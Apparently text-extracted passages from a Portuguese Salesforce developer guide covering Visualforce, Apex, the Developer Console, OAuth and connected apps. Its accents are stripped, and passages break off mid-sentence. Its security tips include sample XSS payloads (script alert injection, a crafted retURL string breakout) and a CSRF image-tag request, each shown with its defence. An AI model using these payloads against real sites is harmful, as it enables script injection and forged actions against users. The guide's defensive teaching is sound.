380. lt head gt lt title gt Adios lt title gt lt script gt alert xss lt script gt lt title gt lt head gt lt body gt Hello world lt body gt lt html gt O mecanismo padr o para fazer escape do lado do servidor pelo uso da marca de f rmula SUBSTITUTE Em fun o da coloca o da express o SRequest no exemplo o ataque acima poderia ser evitado ao usar as seguintes chamadas SUBSTITUTE aninhadas Gl lt html gt lt head gt lt title gt SUBSTITUTE SUBSTITUTE S Request title lt lt gt gt lt title gt lt head gt lt body gt Hello world lt body gt lt html gt Dependendo da coloca o da marca e do uso dos dados os dois caracteres que precisam de escape e suas contrapartes escapadas podem variar Por exemplo esta instru o lt script gt var ret SRequest retURL script gt var ret SRequest retURL lt script gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 101 exige que o caractere de aspas duplas seja escapado para 22 seu equivalente codificado para URL e n o para HTML escapado pois ele provavelmente ser usado em um link Caso contr rio a solicita o http example com demo redirect html retURL foo 22 3Balert xss S3B 2F 2F resultar em lt script gt var ret foo alert xss lt script gt Al m disso a vari vel ret pode precisar de um escape adiciona
381. lvedor fornece um conjunto pr tico de ferramentas para rastrear de modo eficiente as quest es l gicas e Exibir registros Use a guia Registros para exibir uma lista de registros Abra os registros no Inspetor de registro O Inspetor de registro um visualizador de execu o sens vel ao contexto que mostra a origem de uma opera o o que acionou a opera o e o Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 6 que ocorreu depois Use esta ferramenta para exibir registros de depura o incluindo eventos do banco de dados processamento do Apex fluxo de trabalho e l gica de valida o Definir e exibir pontos de verifica o no c digo do Apex Use o Console do desenvolvedor para definir os pontos de verifica o para identificar a origem dos erros Por exemplo se deseja entender por que uma determinada solicita o gera um erro voc pode revisar a execu o identificar a l gica errada e definir um ponto de verifica o Ao executar o processo novamente poss vel inspecionar a solicita o em um ponto espec fico para entender em detalhes como melhorar seu c digo Embora o Console do desenvolvedor n o possa fazer uma pausa na execu o como um depurador tradicional ele fornece a mesma visibilidade aos desenvolvedores de nuvem reduzindo a necessidade de codificar o instrumento com comandos System debug Editando e navegando no c digo fonte O Console do desenvolvedor permite procurar a
382. m amp type admin a height 1 width 1 gt Em outras palavras a pagina do atacante cont m um URL que executa uma a o no seu site Se o usu rio ainda estiver logado na p gina da web ao visitar a p gina do atacante o URL ser coletado e as a es ser o executadas Esse ataque bem sucedido pois o usu rio ainda est autenticado na sua p gina da web Esse um exemplo muito simples e o atacante pode ser mais criativo usando scripts para gerar a solicita o de callback ou at usar ataques de CSRF contra seus m todos AJAX Para obter mais informa es e defesas tradicionais veja os seguintes artigos e http Awww owasp org index php Cross Site Request Forgery e http www cgisecurity com csrf fag html e http shiflettorg articles cross site request forgeries Dentro da plataforma do Force com o Salesforce implementou um token anti CSRF para evitar esse ataque Todas as p ginas incluem uma sequ ncia aleat ria de caracteres na forma de um campo de formul rio oculto No carregamento da pr xima p gina o aplicativo verifica a validade dessa sequ ncia de caracteres e n o executar o comando se o valor for correspondente ao valor esperado Esse recurso o protege quando voc estiver usando todos os controladores e m todos padr o Aqui mais uma vez o desenvolvedor pode contornar as defesas incorporadas sem perceber o risco Por exemplo vamos supor que voc tenha um controlador personalizado no qual usa o ID do
383. m escopos diferentes voc ver o mesmo aplicativo diversas vezes Mesmo se o aplicativo conectado tiver tentado acessar suas informa es e falhar porque n o conseguiu fazer login os campos Contagem de uso e ltima utiliza o ainda ser o atualizados e Clique em Revogar para revogar o acesso ao aplicativo Ap s a revoga o do aplicativo ele n o poder mais usar esse token espec fico de autoriza o de acesso para acessar seus dados do Salesforce O Importante Voc dever revogar todas as chaves de acesso de um determinado aplicativo para impedi lo de acessar seus dados do Salesforce CONSULTE TAMB M Solicita o de acesso ao aplicativo aprovada Solicita o de acesso ao aplicativo negada Solicita o de acesso ao aplicativo aprovada O aplicativo externo que voc est usando solicitou acesso aos dados do Salesforce e voc aprovou essa solicita o Feche a janela do navegador e volte ao aplicativo que voc estava usando Ap s conceder acesso a um aplicativo de acesso remoto poss vel revog lo mais tarde acessando suas informa es pessoais 1 Em suas configura es pessoais insira Detalhes avan ados do usu rio nacaixa Busca r pida e selecione Detalhes avan ados do usu rio Nenhum resultado Insira Informa es pessoais nacaixa Busca r pida eselecione Informa es pessoais 2 Nase o Aplicativos conectados do OAuth voc pode e Exibir informa es sobre cada aplicativo ao qu
384. ma maneira que voc definiria uma vari vel vinculante POST connect action link group definitions templateId 079D00000004C9r templateBindings Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 146 key Invitee value 005D00000017u6x Se o modelo usar Apenas o gerente do criador pode ver um usu rio sem gerente receber um erro ao instanciar um grupo de link de a o no modelo Al m disso esse gerente refere se ao gerente no momento da instancia o Se o gerente do usu rio mudar depois da instancia o a mudan a n o ser refletida Uso de vari veis de contexto Use vari veis de contexto para passar informa es sobre o usu rio que executou o link de a o e o contexto em que ele foi chamado solicita o HTTP feita ao chamar um link de a o poss vel usar vari veis de contexto nas propriedades actionUrl headers e requestBody do corpo da solicita o de Entrada de defini o de link de a o ou o objeto ConnectApi ActionLinkDefinitionInput Tamb m poss vel usar vari veis de contexto nos campos URL da a o Corpo da solicita o HTTP e Cabe alhos HTTP de modelos de link de a o Voc pode editar esses campos incluindo adi o e remo o de vari veis de contexto ap s a publica o do modelo Estas s o as vari veis de contexto dispon veis Vari vel de contexto Descri o actionLinkId O ID do link de a o q
385. ma recurs o indicada por estruturas vazias na p gina Guia do usu rio Componentes do Lightning Apex Visualforce 125 EDICOES Disponivel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e excluir custom s controls e Personalizar aplicativo Para inserir campos de mesclagem de atividade selecione Evento ou Tarefa em Selecionar tipo de campo CONSULTE TAMB M Atributos de s control personalizado Definindo custom s controls Aprimorar o Salesforce com c digo S Controls teis O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Use as seguintes amostras para come ar a usar s controls S Controls para p ginas de detalhes Yahoo Map Use a API do Yahoo Map e os campos de mesclagem de endere o de cobran a para exibir um mapa referente a uma conta Use o c digo a seguir em um s control de HTML e adicione o ao layout da p gina de detalhes da conta lt html gt lt head gt lt script type text Javascript src http api maps yahoo com ajaxymap v 3 04appid YahooDemo gt lt script gt lt style type text css gt mapContainer height 200px width 100 lt style gt
386. mentar para uma comunidade o usu rio da comunidade do Salesforce Para compatibilidade com vers es anteriores voc pode usar o principal prn em vez de assunto sub Se ambos forem especificados o prn ser usado A validade exp deve ser o tempo de validade da assertiva com margem de cinco minutos expresso como o numero de segundos desde 01 01 1970 0 0 0 medido em UTC O JWT deve ser assinado usando RSA SHA256 O JWT deve estar de acordo com as regras gerais de formato especificadas aqui http tools ietf org html draft jones json web token Para construir um token portador JWT fa a o seguinte 1 2 Construa um cabe alho JWT no seguinte formato alg RS256 Codifique o cabe alho JWT de acordo com Base64url como definido em http tools ietf org html rfc4648 page 7 O resultado deve ficar parecido com o seguinte eyJhbGci0iJSUzIINiJ9 Construa um conjunto de afirma es de JSON para o JWT com iss sub aud e exp iss 3MVG990xTyEMCO3gNp2Pj kqeZKxnmAiG1xV40Hh9AKL rSK BoSVPGZHO ukXnVj zRgSuQqGn75NL7yfkOcyy7 sub my email com aud https login salesforce com exp 1333685628 4 Codifique o conjunto de afirma es JWT para Base64url sem quebras de linha Por exemplo eyJpc3Mi0iAiM0 1WRzk5ST3hUeUVNO1EzZ0 5wM1Bga3F1lWkt4bm1BaUcxeFYObOhoOOUFLTF9yU0su Qm9TVIBHWkhRdWtYb1 ZgelJnU3VRcUduNzVOTDd5ZmtRY315NyIsICJUwcem4i0iAibX1lAZWlhaWwu Y29tliwgImF1ZC1I6ICJodHRwezovL2xvZ2luLnNhbGVzZm9yY2
387. mero da linha marcada com o ponto de verifica o Hor rio A hora em que o ponto de verifica o foi atingido Clique com o bot o direito em qualquer cabe alho de coluna para classificar as informa es na coluna Tamb m poss vel selecionar quais colunas ser o exibidas na lista Pontos de verifica o Para abrir um ponto de verifica o clique duas vezes nele O ponto de verifica o abre no Inspetor do ponto de verifica o Locais do ponto de verifica o Essa lista fornece o local de cada ponto de verifica o no c digo fonte Cada item na lista exibe estas informa es Coluna Descri o Arquivo O nome da classe do Apex que cont m o ponto de verifica o Linha O n mero da linha marcada com o ponto de verifica o ltera o Se o ponto de verifica o estiver em um loop esse valor indica a itera o em que o ponto de verifica o capturado Por padr o a itera o 1 o que significa que o ponto de verifica o salvo na primeira vez que a linha do c digo fonte executada poss vel usar uma itera o diferente por exemplo para investigar por que um loop n o termina quando esperado Para alterar a itera o clique na c lula que deseja alterar e insira um novo n mero Somente um ponto de verifica o ser capturado para uma linha de c digo espec fica independentemente de quantas vezes ela for executada durante uma solicita o Defina os locais do ponto de verifica o no Edit
388. morar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 262 Origem O painel Origem cont m o c digo fonte executado ou as defini es de metadados de entidades usadas durante o processo Ele lista quantas vezes uma linha de c digo foi executada O conte do exibido no painel depende do que est selecionado em outro ponto na exibi o Para ir at uma linha de c digo espec fica insira um n mero de linha na caixa de entrada na parte inferior do painel de origem e clique em Jump lr para Clique em Open Abrir para abrir o c digo fonte executado na exibi o do Editor de c digo fonte Nota Se as regras de valida o ou o fluxo de trabalho forem executados durante o processo a representa o dos metadados exibida no painel de origem Voc n o pode abrir uma representa o de metadados no Console do desenvolvedor Consulte ValidationRule Regra de valida o e Work f Low Fluxo de trabalho no Force com Metadata API Developers Guide Guia do desenvolvedor da API de metadados do Force com Vari veis Use o painel Vari veis para descobrir quando atribu do um valor a uma vari vel e qual esse valor Clique em um evento Vari vel para preencher a se o Nota O n vel de log do c digo do Apex Code C digo Apex deve ser definido como Exato para que atribui es de vari veis sejam registradas Outro modo de exibir o conte do das vari veis usar os ponto
389. mponentes personalizados para ampliar Dispon vel em Salesforce essa biblioteca Classic e Lightning O componente personalizado engloba um padr o de design comum que pode ser reutilizado em Experience uma ou mais p ginas do Visualforce Ele consiste em Dispon vel em Edi es e Um conjunto de marca es do Visualforce delimitado pela marca lt apex component gt Contact Manager Group Professional Enterprise Performance Unlimited e Developer e Um controlador de componente opcional criado no Apex habilitando o componente a executar l gica adicional como classificar itens em uma lista ou calcular valores Por exemplo voc deseja criar um lbum de fotografias usando p ginas do Visualforce Cada fotografia no lbum possui sua pr pria cor de borda e uma legenda de texto embaixo Em vez de repetir a marca o do Visualforce requerida para exibir cada foto no lbum voc pode definir um componente personalizado chamado Foto nica que possui atributos para imagem cor da borda e legenda e depois usar esses atributos para exibir a imagem na p gina Uma vez definido cada p gina do Visualforce em sua organiza o pode aproveitar o componente personalizado Foto nica da mesma maneira que uma p gina pode aproveitar componentes padr o como lt apex dataTable gt ou lt apex relatedList gt Ao contr rio dos modelos de p gina que tamb m permitem aos desenvolvedores reutilizarem marca es os componentes personal
390. mulas ou p ginas do Visualforce e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 42 CaseSelect Especifique um caso para uma solu o Solu o ChangeOwner Altere o propriet rio de um registro e Conta e Grupo de an ncios e Campanha e Caso e Contato e Contrato e Campanha do Google e Palavra chave e Leads e Oportunidades e Frase de pesquisa e Vers o SFGA e Anuncio de texto ChangeStatus Altere o status de um caso Gw e Lead ChoosePricebook Selecione o cat logo de pre os a ser usado OpportunityLineltem Clonar Clone um registro e Grupo de an ncios e Patrim nio e Campanha e Membro de campanha e Caso e Contato e Contrato e Compromisso e Campanha do Google e Palavra chave e Lead e Oportunidade e Produto e Frase de pesquisa e Vers o SFGA e Anuncio de texto e Objetos personalizados CloneAsChild Crie um caso relacionado com os detalhes Caso de um caso pai Aprimorar o Salesforce com c digo CloseCase Converter ConvertLead Create Opportunity Decline Excluir DeleteSeries DisableCustomerPortal DisableCustomerPortalAccount DisablePartnerPortal DisablePartnerPortalAccount Download Guia do usu rio Componentes do Lightning Apex Feche um caso Visualforce 43 Caso Cria um novo contato conta e oportunidade Lead usando as informa es de um lead Converte um le
391. na do Visualforce em um pacote gerenciado e Clicar em Excluir para remover uma p gina e Clique em Seguran a para gerenciar a seguran a da p gina e Clique no bot o Visualizar Z para abrir a p gina em uma nova janela Nota O prefixo de namespace adicionado as classes e acionadores do Apex componentes e p ginas do Visualforce modelos de marca pastas s controls recursos est ticos links da web etipos de relat rio personalizados caso eles estejam inclu dos em um pacote gerenciado Mas se voc n o tiver permiss o para personalizar aplicativos o campo de prefixo de namespace n o ser exibido para modelos de marca pastas e tipos de relat rio personalizados Campos de mesclagem para p ginas do Visualforce Um campo de mesclagem um campo que voc pode colocar em um modelo de email modelo de mala direta link personalizado ou f rmula para incorporar valores de um registro As p ginas do Visualforce usam o mesmo idioma de express o das f rmulas ou seja qualquer coisa dentrode avaliada como uma express o que pode acessar valores dos registros que est o no momento no contexto Por exemplo voc pode exibir o nome do usu rio atual ao adicionar o campo de mesclagem SUser FirstName a uma p gina lt apex page gt Hello SUser FirstName s lt apex page gt Se o nome do usu rio for John a p gina ir exibir Ol John EDI ES Dispon vel em Salesforce Classic e Lightning Exper
392. na linha espec fica do c digo e itera o em que o ponto de verifica o foi definido FilterOptions PermsetAssignmentController PermissionAssignmentControllerTest PermsetAssignmentController 8 04 10 08 06 19 Symbol Key Value okey 3 this this Type PermsetAssignmentController 12 bytes amp filter filter Ox44a17a41 E searchedUsers searchedUsers UserList O Importante Caso n o visualize as barras de rolagem nos pain is do Inspetor do ponto de verifica o em um Mac abra System Preferences Prefer ncias do sistema gt General Geral e defina Show scroll bars Mostrar barras de rolagem para Always Sempre CONSULTE TAMB M Guia Pontos de verifica o Configurando pontos de verifica o no c digo do Apex Sobrepondo c digo do Apex e instru es SOQL Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 258 Guia Registros Use a guia Registros no Console do desenvolvedor para acessar registros que incluam eventos do banco de dados processamento do Apex fluxo de trabalho callouts e l gica de valida o O Console do desenvolvedor automaticamente pesquisa os registros de depura o do usu rio atual e os lista na guia Logs Registros Por exemplo se voc tiver regras de valida o associadas inser o de um registro e inserir um novo registro o Console do desenvolvedor captura um registro de depura o para a solicita o e o adiciona l
393. na lista de p ginas do Visualforce ativadas e clicar em Remover 5 Clique em Salvar EDICOES Disponivel em Salesforce Classic Dispon vel em Edi es Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para editar as configura es de acesso a p ginas do Visualforce e Gerenciar perfis e conjuntos de permiss es EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para definir a seguran a de p gina do Visualforce e Gerenciar perfis e conjuntos de permiss es Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 98 Dicas de seguran a para Apex e Visualforce Development Compreenda e proteja se contra vulnerabilidades medida que voc desenvolve aplicativos EDICOES personalizados Dispon vel em Salesforce Entendendo a seguran a Classic A poderosa combina o das p ginas do Apex e do Visualforce permite que os desenvolvedores do Dispon vel em Edi es Force com forne am funcionalidades personalizadas e l gica de neg cios para a Salesforce ou Group Professional criem um produtos independente completamente novo para ser executado junto com a plataforma Enterprise Performance Force com No entanto assim como qualquer linguagem de program
394. nalizada for definido como verdadeiro os usu rios visualizam a mensagem de ajuda estendida por padr o Se algu m preferir n o ver as mensagens de ajuda poder definir sua configura o personalizada como falso para substituir o valor de organiza o ou perfil Configura es personalizadas do tipo lista n o est o dispon veis em p ginas do Visualforce usando essa vari vel global poss vel acessar as configura es personalizadas de lista no Apex Essa vari vel global est dispon vel em p ginas do Visualforce campos de f rmula regras de valida o e f rmulas de fluxo e de processo Um tipo de campo de mesclagem global a ser usado ao fazer refer ncia a informa es sobre o site do Force com Use a nota o de ponto para acessar as informa es sobre o atual site do Force com Observe que s est o dispon veis os seguintes campos do site Campo de mesclagem Descri o SSite Name Apresenta o nome da API do site atual SSite Domain Apresenta o nome de dom nio do Force com para sua organiza o SSite CustomWebAddress Retorna o URL personalizado da solicita o caso ele n o termine em force com ou o URL personalizado principal do site Se nenhum dos dois existe ele retorna uma string vazia Observe que o caminho do URL sempre a raiz mesmo se o URL personalizado da solicita o tem um prefixo de caminho Se a solicita o atual n o uma solicita o de site esse campo retorna uma string
395. nce e Para acessar r tulos personalizados em Configura o insira R tulos personalizados na Unlimited caixa Busca r pida e selecione R tulos personalizados Nessa p gina voc pode e Criar um novo r tulo personalizado ou editar um existente PERMISS ES DO e Ver um r tulo personalizado existente Na p gina de exibi o voc pode criar ou editar uma USUARIO tradu o em um idioma usado pela sua organiza o Criar editar ou excluir Para adicionar um r tulo personalizado ao seu aplicativo r tulos personalizados e Personalizar aplicativo 1 Crie o r tulo personalizado 2 Traduza o valor do r tulo para os idiomas suportados pelo seu aplicativo Criar ou substituir uma tradu o 3 Useo r tulo e Gerenciar tradu o e No Apex use a sintaxe System Label Label name OU e Em componentes do Visualforce e do Lightning use a vari vel global Label Ver Instala o e Configura o e ser 4 Inclua o r tulo no seu aplicativo quando o empacotar para o AppExchange designado como tradutor Q Dica Se um r tulo personalizado tiver tradu es ser necess rio empacotar explicitamente os idiomas individuais desejados para que essas tradu es sejam inclu das no pacote CONSULTE TAMB M Criando e editando r tulos personalizados Aprimorar o Salesforce com c digo Criando e editando r tulos personalizados Para criar ou editar um novo r tulo personalizado 1 Em Configura
396. ncel All Deployments Regld Nice Order Description 3 Duratio Handle Ajax E Delay 428 Checking for new Checkpoints Test results amp File updates 0 10 234 Checking for new Checkpoints Test results amp File updates 0 84 426 Checking for new Checkpoints Test results amp File updates Bk 20 86 425 Checking for new Checkpoints Test results amp File updates 115 424 Checking for new Checkpoints Test results amp File updates 0 78 423 Checking for new Checkpoints Test results amp File updates LR 0 103 O Console do desenvolvedor organizado nas seguintes se es 1 Barra de menus 2 Espa o de trabalho com uma guia para cada item aberto 3 Painel de registros testes e problemas Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 4 Barra de menus A barra de menus inclui os seguintes menus suspensos e O menu File Arquivo permite que voc abra e crie recursos e O menu Edit Editar permite pesquisa e edi o dos arquivos de c digo e O menu Debug Depurar fornece acesso a uma variedade de ferramentas e configura es e Omenu Test Teste fornece acesso s ferramentas de teste e Omenu Workspace Espa o de trabalho permite escolher e gerenciar espa os de trabalho e O menu Help Ajuda inclui links para a ajuda online uma p gina de refer ncia de teclas de atalho a p gina de prefer ncias do console do Developer e uma cole o de tours gu
397. nciado podem ser compiladas apenas por meio do link Compilar todas as classes porque n o podem ser salvas Caso contr rio salvar as classes do Apex que n o fazem parte de um pacote gerenciado faz com que sejam recompiladas Esse link compila todas as classes do Apex em sua organiza o sejam ou n o de um pacote gerenciado Nota O prefixo de namespace adicionado s classes e acionadores do Apex componentes e p ginas do Visualforce modelos de marca pastas s controls recursos est ticos links da web e tipos de relat rio personalizados caso eles estejam inclu dos em um pacote gerenciado Mas se voc n o tiver permiss o para personalizar aplicativos o campo de prefixo de namespace n o ser exibido para modelos de marca pastas e tipos de relat rio personalizados CONSULTE TAMB M Definir classes do Apex Exibir classes do Apex Gerenciar acionadores do Apex Acionador o c digo do Apex executado antes ou depois que eventos espec ficos de linguagem de manipula o de dados DML ocorrem por exemplo antes que registros de objetos sejam inseridos no banco de dados ou depois que os registros s o exclu dos Os acionados s o armazenados como metadados no Salesforce Uma lista de todos os acionadores na sua organiza o est localizada na p gina Acionadores do Apex em Configura o Os acionadores tamb m s o associados e armazenados com objetos espec ficos e s o listados nas configura es de gerenciamento
398. nco de dados processamento do Apex fluxo de trabalho e l gica de valida o Os pain is exibidos no Inspetor de registro dependem da perspectiva selecionada Para alternar perspectivas clique em Debug Depurar gt Switch Perspective Alternar perspectiva Para obter mais detalhes sobre perspectivas padr o e personalizadas consulte Gerenciando perspectivas no inspetor de registro Pain is de registro O Inspetor de registro pode conter qualquer um dos seguintes pain is e rvore de pilha e Pilha de execu o e Registro de execu o e Origem e Vari veis e Vis o geral de execu o Clique em Debug Depurar gt View Log Panels Exibir pain is de registro ou CTRL P para escolher entre os pain is dispon veis e projetar uma perspectiva personalizada Select Panels x Stack Tree Execution Stack V Execution Log V Source Variables V Execution Overview Se voc projetar uma perspectiva personalizada que deseja usar novamente clique em Debug Depurar gt Save Perspective Salvar perspectiva e lhe d um nome f cil de lembrar Ap s uma perspectiva personalizada ser salva poss vel selecion la a qualquer momento que o Inspetor de registro for usado clicando em Debug Depurar gt Switch Perspective Alternar perspectiva A maioria dos pain is atualiza automaticamente para exibir informa es quando voc clica em um item em um painel relacionado Por exemplo se voc clicar em uma pasta no
399. nd Bad ld 404 not found Inactive 404 not found No Access informa es 404 not found No Site Endpoint 404 n o encontrado Erro interno 406 not acceptable Invalid Version Vers o inv lida 406 not acceptable Invalid Callback Callback inv lido CONSULTE TAMB M Usando a chave de acesso O Userinfo Endpoint O Userinfo Endpoint uma API RESTful que pode ser usada para consultar com um token de acesso v lido informa es sobre o usu rio associado ao token de acesso no formato padr o do OpenID Connect O Salesforce retorna informa es b sicas de personaliza o sobre o usu rio al m de pontos finais importantes com os quais o cliente pode falar como fotos do usu rio e pontos finais da API que ele pode acessar Esse ponto final d acesso a informa es somente sobre o usu rio atual n o sobre os outros usu rios da mesma organiza o O formato do URL https login salesforce com services oauth2 userinfo Nota Parao sandbox login salesforce com substitu do por test salesforce com O URL deve ser sempre HTTPS Par metros do Userinfo Endpoint Os par metros a seguir podem ser usados com o token de acesso e o Userinfo Endpoint O token Sem resposta do servidor Guia do usu rio Integra o de aplicativos com o Salesforce 235 Problema na solicita o Usu rios em uma organiza o diferente Usu rio ou ID da organiza o inv
400. nforma es Coluna Descri o Limite Nome do limite Usado at Valor do limite usado por este processo no ponto da execu o Total da solicita o Valor desse limite usado pela solicita o na conclus o Total dispon vel Valor total do limite e Aguia Cronograma fornece uma representa o visual do tempo dispendido por cada processo Selecione a op o Scale Escala que resulta na exibi o mais til SaveOrder Limits Timeline _ Executed Units Category Millis 14 53 01 100 14 53 01 110 14 53 01 120 14 53 01 130 14 5 waoe MD OM SS E E WORKFLOW 0 00 0 00 DB 0 00 0 00 a m r Scale 0 01 Seconds 0 1 Seconds 1Seconds 10 Seconds Minutes A guia Cronograma cont m estas informa es Coluna Categoria Milis Descri o Tipo de processo Milissegundos de tempo gasto pelo processo Porcentagem que o processo levou para a solicita o completa e Aguia Unidades executadas exibe os recursos do sistema usados por cada item no processo Os bot es na parte Save Order Limits Timeline Executed Units _ What Name Sum Avg Max Min Count Heap Query Type Sumrows Avgrows Maxrows Minrow Method size 0 40 0 08 0 11 0 06 5 0 n a n a n a n a n a 2 Method debug 0 72 0 09 0 13 0 08 8 n a n a n a n a n a Method execute 36 92 36 92 36 92 36 92 k 2534 n a n a n a n a n a 5 Method uifcom 36 98 36 98 36 98 36 98 1 o n a n a n a n a n a Method add 0 49 0 12
401. ning Pa Experience e O controlador da p gina e as classes do Apex chamadas por meio da classe do controlador p e As classes de extens o da p gina e o Apex chamado por meio de uma extens o Dispon vel em Edi es Contact Manager Group Professional Enterprise e As classes associadas pagina por meio do uso de apex include ou Performance Unlimited e apex composition Developer e As classes do Apex associadas a componentes personalizados na p gina Por exemplo se a p gina A depender de um controlador que chama uma classe B do Apex e um usu rio tiver acesso somente p gina A mas n o classe B o usu rio ainda poder executar o c digo na p gina A Da mesma maneira se uma p gina do Visualforce usar um componente personalizado com um controlador associado a seguran a s ser verificada no controlador associado p gina n o no controlador associado ao componente Voc pode definir a seguran a de p gina do Visualforce em e Uma defini o de p gina do Visualforce e Conjuntos de permiss es e Perfis Se os usu rios tiverem a permiss o Personalizar aplicativo podem acessar todas as p ginas do Visualforce na organiza o associada Contudo eles ainda poder o ter restri es relacionadas as classes do Apex A permiss o Personalizar aplicativo n o permite que os usu rios ignorem essas restri es em uma p gina do Visualforce a menos que tenham acesso p gina do Visualforce Al
402. nir a seguran a de p gina do Visualforce e Gerenciar perfis e conjuntos de permiss es E Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 97 Configurando a seguran a de p gina do Visualforce de conjuntos de permiss es 1 Em Configura o insira Conjuntos de permiss es nacaixa Busca r pida e selecione Conjuntos de permiss es Selecione um conjunto de permiss es Clique em Acesso p gina do Visualforce Clique em Editar ore oo IN Selecione as paginas do Apex que voc deseja ativar na lista Paginas do Apex dispon veis e clique em Adicionar ou selecione as p ginas do Apex que voc deseja desativar da lista P ginas do Apex habilitadas e clique em Remover 6 Clique em Salvar Definir a seguran a de p gina do Visualforce em perfis Defina a seguran a do Visualforce diretamente de um perfil para conceder acesso de usu rios a esse perfil p gina do Visualforce especificada 1 Em Configura o insira Perfis nacaixa Busca r pida em seguida selecione Perfis Clique no nome do perfil que deseja modificar V para a p gina Acesso da p gina do Visualforce ou lista relacionada e clique em Editar A MEM Selecione as p ginas do Visualforce que deseja ativar na lista de p ginas do Visualforce dispon veis e clique em Adicionar Tamb m poss vel selecionar as p ginas do Visualforce que deseja desativar
403. nlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es Um aplicativo conectado integra um aplicativo ao Salesforce usando APIs Aplicativos conectados usam os protocolos padr o SAML e OAuth para autenticar fornecer login nico e fornecer tokens para uso com as APIs do Salesforce Al m dos recursos padr o do OAuth os aplicativos conectados permitem que os administradores configurem diferentes pol ticas de seguran a e tenham controle expl cito sobre quem pode usar os aplicativos correspondentes Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 164 Um desenvolvedor ou administrador define um aplicativo conectado para o Salesforce fornecendo as informa es a seguir e Nome descri o logotipo e informa es de contato e Um URL em que o Salesforce possa localizar o aplicativo para autoriza o ou identifica o e O protocolo de autoriza o OAuth SAML ou ambos e Faixas opcionais de IP em que o aplicativo conectado pode estar em execu o e Informa es opcionais sobre pol ticas m veis que o aplicativo conectado pode aplicar No caso de aplicativos conectados que usam provedores de servi o de OAuth defina os escopos do OAuth e o URL de retorno para o aplicativo conectado Em resposta o Salesforce fornece uma chave de consumidor de OAuth e um segredo de consumidor para autorizar o aplicativo conectado No caso de aplicativos conectados
404. no espa o de trabalho clique na guia adequada ou use os seguintes atalhos de teclado e Esquerda CTRL Page Up e Direita CTRL Page Down Navegando no hist rico de exibi o Para avan ar e retroceder pelo hist rico de modos de exibi o clique nos bot es _ ou use os seguintes atalhos do teclado e Retroceder CTRL e Avan ar CTRL Clicarem gt ou CTRL passa pelas guias exibidas anteriormente na ordem em que foram exibidas O bot o _ somente fica ativo quando voc est visualizando o hist rico CONSULTE TAMB M Vis o geral da interface de usu rio do console do desenvolvedor Editor de c digo fonte Menu Arquivo No Console do desenvolvedor o menu File Arquivo permite gerenciar os acionadores e classes do Apex p ginas ou componentes do Visualforce e recursos est ticos texto XML JavaScript ou CSS Ele inclui as seguintes op es e New Novo Cria um novo recurso e o abre no Editor de c digo fonte Voc pode criar estes recursos Classe do Apex ou acionador Para criar um novo acionador do Apex primeiro selecione o objeto a ser associado ao acionador Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 9 Aplicativo componente evento ou interface do Lightning Para obter mais informa es consulte Vis o geral da estrutura de componente do Lightning Beta na p gina 86 Nota Para criar recursos do Lightning necess rio usar uma organiza o c
405. no lugar da p gina do Visualforce Essa op o n o tem efeito sobre o suporte do Visualforce no aplicativo m vel do Salesforce Classic Mobile Em vez disso use acaixa de sele o Pronto para Salesforce Classic Mobile nas p ginas de configura o da guia Visualforce Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 69 8 Selecione Solicitar prote o CSRF em solicita es GET para ativar a prote o Cross Site Request Forgery CSRF nas solicita es GET da p gina Quando marcada ela protege contra ataques CSRF modificando a p gina para que ela exija uma chave de confirma o CSRF uma string aleat ria de caracteres nos par metros do URL Em cada solicita o GET o Visualforce verifica a validade dessa string de caracteres e n o carrega a p gina a menos que o valor encontrado seja correspondente ao esperado Marque essa caixa se a p gina realizar qualquer opera o DML quando for carregada pela primeira vez Fazendo isso todos os links nessa p gina precisar o de uma chave CSRF adicionada aos par metros de string de consulta do URL A caixa de sele o est dispon vel para p ginas definidas para a API vers o 28 0 ou posterior Nota No Summer 13 o nico modo de adicionar uma chave CSRF v lida a um URL substituir um link Excluir padr o de um objeto por uma p gina do Visualforce O link Excluir incluir automaticamente a chave exigida N o marque essa caixa em
406. nonce oauth Ve rs o oauth opcional deve ser 1 0 se inclu do 2 O Salesforce valida a solicita o e envia um ID de sess o v lido para o consumidor Acessando dados do Salesforce usando a API Depois que um consumidor passa a ter um AccessToken v lido um aplicativo conectado pode solicitar o acesso a dados do Salesforce usando a API de servi os da Web da Force com Nota A sua organiza o deve ter acesso API e ao aplicativo conectado Entre em contato com seu representante do Salesforce para obter mais informa es Veja a seguir etapas mais detalhadas sobre o acesso a dados para desenvolvedores que usam um aplicativo conectado para solicitar dados do Salesforce 1 O consumidor faz uma solicita o HTTPS POST ao Salesforce OURL deveteroseguinteformato https login salesforce com services OAuth type api version type deve ter um dos seguintes valores u WSDL parceiro c WSDL corporativo api version deve ser uma vers o v lida da API O cabe alho de autoriza o deve ter os seguintes par metros chave do consumidor oauth chave oauth m todo de assinatura oauth assinatura oauth data e hora oauth nonce oauth vers o oauth opcional deve ser 1 0 se inclu do 2 O Salesforce valida a solicita o e envia um ID de sess o v lido para o consumidor O cabe alho de resposta inclui o seguinte lt response gt lt metadataServerUrl gt https nal salesforce com servic
